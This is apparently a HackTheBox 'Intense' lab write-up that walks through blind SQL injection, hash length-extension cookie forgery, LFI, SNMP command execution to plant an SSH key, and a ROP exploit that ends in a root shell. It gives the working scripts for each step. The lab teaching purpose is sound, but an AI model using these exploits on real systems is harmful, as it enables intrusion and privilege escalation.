HackTheBox Intense - Writeup
OS: | Linux |
Release Date: | 07/04/2020 19:00 PM |
Points: | 40 |
Difficulty: | Medium |
~ User Part
We will start with our initial nmap scan, which gives us the following output:
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
161/tcp closed snmp
Right on the start page of the http server, we find a link providing the source of the webapp. We find a small python flask app including routes for logging in and out, inserting a note, and some admin functions, where we don't have access yet. Studying the functionality for the note insert, we find a sql injection:
@app.route("/submitmessage", methods=["POST"])
def submitmessage():
message = request.form.get("message", '')
if len(message) > 140:
return "message too long"
if badword_in_str(message):
return "forbidden word in message"
# insert new message in DB
try:
query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
return str(e)
return "OK"
guest:guest
.
Exploiting this feature is not simple, as we don't get any output plus we cannot fetch inserted entries,
but it is still possible: We need query, which evaluates a condition on the server side using SELECT CASE WHEN
and then two cases
which we can use to decide on the client side, if the condition was true or not. For the true
case, we use any normal value,
so the query gets successfully executed. For the false
case, we would normally do a sleep
. This won't work here,
as the database backend is a sqlite database, where sleep
is not implemented. Instead we will try to produce an runtime error.
This can be achieved with NULL
, if the column would be non-nullable, or using wrong data types. Here is zeroblob(1000000000)
the way to go.
def inject(session, condition):
global num_requests
error_message = 'string or blob too big'
try:
injection = "'),((SELECT CASE WHEN %s THEN 1 ELSE zeroblob(1000000000) END))--" % (condition)
res = session.post("%s/submitmessage" % URL, data={"message": injection})
if res.status_code != 200 or (res.text != "OK" and res.text != error_message):
print("[-] Server returned: %d %s - %s" % (res.status_code, res.reason, res.text))
exit(1)
except:
return False
return res.text != error_message
As we want to retrieve passwords or some secret data, we choose the following condition and let the script bruteforce:
def bruteStr(session, condition):
found_str = ""
found = True
while found:
found = False
for x in string.printable:
if x == "'":
x = "''"
if x == '%':
continue
print(found_str + x)
if inject(session, condition % (len(found_str)+1,x)):
found_str += x
found = True
break
return found_str
secret = bruteStr(session, "(SELECT substr(secret,%d,1) FROM users WHERE username='admin' LIMIT 1)='%s'")
print("Found secret:", secret)
After some time, we got the admin secret:
LWT
for session management, this sounds similar to JWT
,
but here it's some DYI-code. The cookie consists of a base64 encoded json body, followed by a dot and a base64 signature,
which is a sha256 hash of the body prepended by a secret string. The secret string is generated at runtime and consists of
randomly chosen 8 to 15 bytes, so it's unlikely to bruteforce this in time. Instead the signature generation seems to be suspicious:
SECRET = os.urandom(randrange(8, 15))
def sign(msg):
""" Sign message with secret key """
return sha256(SECRET + msg).digest()
def try_signature(cookie):
res = requests.get("%s/admin" % URL, cookies={"auth": cookie})
return res.status_code == 200
append = ';username=admin;secret=%s;' % admin_secret
auth_cookie = session.cookies["auth"]
b64_data, b64_sig = auth_cookie.split(".")
data = base64.b64decode(b64_data)
sig = base64.b64decode(b64_sig)
for key_len in range(8, 16):
(new_sig, new_data) = hashpumpy.hashpump(sig.hex(), data, append, key_len)
new_sig = base64.b64encode(binascii.unhexlify(new_sig)).decode("UTF-8")
new_data = base64.b64encode(new_data).decode("UTF-8")
cookie = "%s.%s" % (new_data, new_sig)
if try_signature(cookie):
print("Found keylength=%d cookie=%s" % (key_len, cookie))
parse_session
function is implemented. It splits the cookie body into key-value pairs
and then puts them into a dictionary. As the username=admin
key-value pair comes after the
username=guest
pair, it is overridden.
Now we can use this cookie to make use of the admin functions. The last part is really easy, as the log view methods do not check paths, so we have a simple LFI. We can read the user flag using the following command:
# Root Part
note_server
binary and source code in user's home directory.
This binary is probably running as root like the service file in /etc/systemd/system
tells us. Unfortunately,
the port is not exposed to the public, as the note_server is bound on 127.0.0.1
. Thus we need a proper shell or some
other connection. The firewall blocks outgoing connections, so a reverse shell won't work. Also we do not have write access to
/home/user/.ssh/authorized_keys
so we need to find another way in. Looking at the initial nmap scan results again, we see, that
snmp is closed, so there must be an explicit firewall rule. We will try to connect via UDP and indeed, there is an SNMP service running:
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (22100) 0:03:41.00
SNMPv2-MIB::sysContact.0 = STRING: Me <user@intense.htb>
SNMPv2-MIB::sysName.0 = STRING: intense
SNMPv2-MIB::sysLocation.0 = STRING: Sitting on the Dock of the Bay
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (26) 0:00:00.26
(...)
/etc/snmp/snmpd.conf
we find the entry rwcommunity SuP3RPrivCom90
, which allows us
to retrieve more data and also grants us some write permissions. We can abuse SNMP to execute commands remotely, which we will do
to upload a public key for the Debian-snmp
user. This won't give us a shell, as Debian-snmp's shell is set to
/bin/false
(see: /etc/passwd), but we will be able to forward the port where note_server is running on.
To do so, we need to split up our public key, as snmp only allows command arguments of length 255 or less. Also we will probably need to execute the commands multiple times, as the server throws random errors (i don't know why to be honest). We will use the following python script:
def execCommand(cmd):
Success = False
while not Success:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Success = proc.wait() == 0
time.sleep(3)
def generateCommand(arg):
return [
"snmpset", "-m", "+NET-SNMP-EXTEND-MIB", "-v", "2c",
"-c", "SuP3RPrivCom90", "10.10.10.195",
"nsExtendStatus.\"command\"", "=", "createAndGo",
"nsExtendCommand.\"command\"", "=", "/bin/bash",
"nsExtendArgs.\"command\"", "=", arg
]
def trigger():
return os.system("snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2 1>/dev/null")
Using the above code, we are now able to upload our public key in parts:
pubkey = open("<your publickey>","r").read()
argument = '-c "echo -n %s >> ~/.ssh/authorized_keys"'
remaining_len = 255-len(argument)
print("[ ] Clearing ~/.ssh/authorized_keys")
execCommand(generateCommand('-c "rm ~/.ssh/authorized_keys"'))
trigger()
print("[+] Success")
chunks = textwrap.wrap(pubkey, remaining_len)
for i in range(len(chunks)):
chunk = chunks[i]
print("[ ] Uploading chunk %d/%d" % (i+1,len(chunks)))
execCommand(generateCommand(argument % chunk))
trigger()
print("[+] Success")
Now we should be able to create a SSH tunnel for port forwarding on our local machine:
We can now interact with the note_server by connecting to localhost:5001. For the rest I will structure the exploitation into multiple parts.
1. Understanding the binary
\x01
instead of "1"
. For the first option, the server
excepts another binary number for the length of the note and then the note itself. It will store the note at the dynamic variable index
,
which is increased every time we add or copy a note. The second option allows us to specify an offset, followed by the size we want to copy.
The note starting at the given offset will be then copied to the end of the buffer (index). The last option simply prints the buffer from the
beginning to the end of the index and then terminates the forked process. For option 1-2 we are allowed to choose another option at the end.
The following images illustrate the buffer and it's states after certain inputs:
To exploit this binary we need to bypass several security precautions:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
2. Leaking Stack Canary, Base Pointer and Return Address
For the first step of exploitation, we are using a bug inside option 2:
// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
exit(1);
}
// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
exit(1);
}
// get the size of the buffer we want to copy
if (read(sock, ©_size, 1) != 1) {
exit(1);
}
// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
exit(1);
}
// copy part of the buffer to the end
memcpy(¬e[index], ¬e[offset], copy_size);
index += copy_size;
index + offset > BUFFER_SIZE
,
we can first fill the buffer with any junk and then call copy note again with offset = index
.
Thus memcpy will copy n bytes from ¬e[index]
to ¬e[index]
and we won't break
the stack canary, but the index is still increased! After this operation, we cann call option 3 to read the note
until index, and we will receive our desired values:
io = start()
print("\nStage 1: Getting stack canary + base pointer")
writeToEnd()
read_size = 32
copyNote(1024,read_size)
leak = readNotes(1024+read_size)[1024:]
val = u64(leak[0:8])
canary = u64(leak[8:16])
rbp = u64(leak[16:24])
rip = u64(leak[24:])
print("\nLeaks:")
print("val = ", hex(val))
print("rbp = ", hex(rbp))
print("canary = ", hex(canary))
print("rip = ", hex(rip))
io.close()
3. Leaking libc address
ROP Gadgets
.
The return address gives us a hint, where the write
function pointer is located in the GOT (Global Offset Table).
When we run the note server locally and attaching it to gdb, we can make use of gef's vmmap
extension, to print virtual pages and bounds.
Then we just subtract the return address we got from the base address of the page to retrieve the offset. We can apply this offset on any
return address we get in the future, as the program always takes the same path. Using the offset and the GOT entry, we can craft a ROP chain
to leak libc address:
io = start()
print("\nStage 2: Leaking LIBC")
base_address = rip - 0xF54 # offset calculated using vmmap
print("Base Address:", hex(base_address))
elf = context.binary
elf.address = base_address
rop = ROP(elf)
rop.write(FD, elf.got["write"])
print("\nROP Gadgets:\n" + rop.dump()) # these should appear later in the leak
buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop.chain()
writeNote(buf)
writeToEnd(len(buf)) # fill rest of buffer, so that index = 1024
copyNote(0,len(buf)) # copy first X bytes right after buffer
readNotes(1024+len(buf)) # get the notes
print("\nLibc Leak:")
leak = io.recv(8) # this should be the libc leak
libc_write = u64(leak)
print("address:", hex(libc_write), "offset:", hex(libc_write & 0xFFF))
io.close()
4
, because 0-2 are reserved for standard IO and
it's most likely for the server to use FD as socket's file descriptor.
It might still be possible that we need other values here.
Using the script we were able to retrieve the libc write offset 0x140
. Looking up this value
in the libc database, we get two libc versions: for 32 and 64 bit. We will download the 64-bit library and use it for the last step.
4. Spawning a shell
execve
call.
execve
needs the path to the binary as first argument, the pointer to /bin/sh
is also located in libc.
elf_libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
print("\nStage 3: Spawning a shell")
elf_libc.address = libc_write - elf_libc.symbols['write']
rop_libc = ROP(elf_libc)
binsh = next(elf_libc.search(b"/bin/sh\x00"))
rop_libc.dup2(FD, 0)
rop_libc.dup2(FD, 1)
rop_libc.execve(binsh,0x0,0x0)
buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop_libc.chain()
io = start()
writeNote(buf)
writeToEnd(len(buf))
copyNote(0,len(buf))
readNotes(1024)
io.recv(len(buf))
io.interactive()
Stage 3: Spawning a shell
[+] Opening connection to 127.0.0.1 on port 5001: Done
[*] Switching to interactive mode
$ id && hostname
uid=0(root) gid=0(root) groups=0(root)
intense
+ Additional Notes
TIL: Another crypto flaw and why you should use HMAC instead of hash(secret+x). Also, this was my first more complex binary exploitation.